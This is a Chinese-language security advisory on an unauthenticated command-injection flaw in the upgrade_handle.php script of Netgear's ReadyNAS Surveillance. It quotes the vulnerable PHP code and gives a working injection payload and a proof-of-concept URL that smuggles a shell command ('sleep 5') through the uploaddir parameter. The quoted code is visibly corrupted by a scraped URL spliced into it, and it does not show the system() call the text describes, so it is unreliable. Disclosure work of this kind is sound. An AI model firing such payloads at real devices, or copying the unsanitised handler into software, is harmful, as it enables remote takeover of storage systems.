美国网件ReadyNAS监控系统非认证远程命令执行漏洞分析">美国网件ReadyNAS监控系统非认证远程命令执行漏洞分析

背景

R ead yNAS监控系统是网件公司提出的可直接在ReadyNAS存储设备上安装的,简单易用的网络视频记录软件。安装一些连网的摄像头,监控系统就可以运行了。

漏洞描述

网件公司的 ReadyNAS监控系统发现有非认证的远程命令执行漏洞。

传递给upgrade_handle.php的用户输入没有进行严格的过滤。

else if( 0 == strcmp($_GET['cmd'],'writeuploaddir') )
{
if(constant("NEED_UPLOAD_FROM_DISK"))
{
if (isset($_GET['uploaddir']))
{
$uploaddir = $_GET['uploaddir'];

  $fp = fopen(UPLOAD_CONF_PATH, 'w');


 $strData = http://www.tuicool.com/articles/"server.upload-dirs=(/"" . $uploaddir . "/")/n";


  
 fwrite($fp, $strData);
 fclose($fp);


$current_dir = system('cat '.PHP_CINF_PATH.'| grep \'upload_tmp_dir\'');

 $tmp_upload_dir = 'upload_tmp_dir='.$uploaddir;

 $cmd = "sed -i 's/".str_replace('/', '\/', $current_dir)."/".str_replace('/', '\/', $tmp_upload_dir)."/g' ".PHP_CINF_PATH;


   //system("echo \"$uploaddir\" > ".UPGRADE_DIR_PATH);

   $file = fopen(UPGRADE_DIR_PATH,"w");

   if( $file )

    fwrite($file,"[UPLOAD]\n");


    fwrite($file,"upload_dir=\"". $uploaddir ."\"\n");
    fclose($file);



header("Content-type: application/xml\r\n\r\n");


echo "Modify upload directory ok";

从上面的代码中,我们可以看到$_GET['uploaddir']没有转义(过滤),就直接通过 $tmp_upload_dir传递给 system()。

通过发送下面的参数,就可以执行输入的命令

'?cmd=writeuploaddir&uploaddir=%27;command_TO_EXECUTE;%27'

P oC

http://IP/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;sleep%205;%27

厂商回应

该漏洞于 6月27日被通报给 网件公司,但公司拒绝透露相关技术细节以及修复的时间点。

参考来源: https://blogs.securiteam.com/index.php/archives/3409

赞 (0) 评论 分享 ()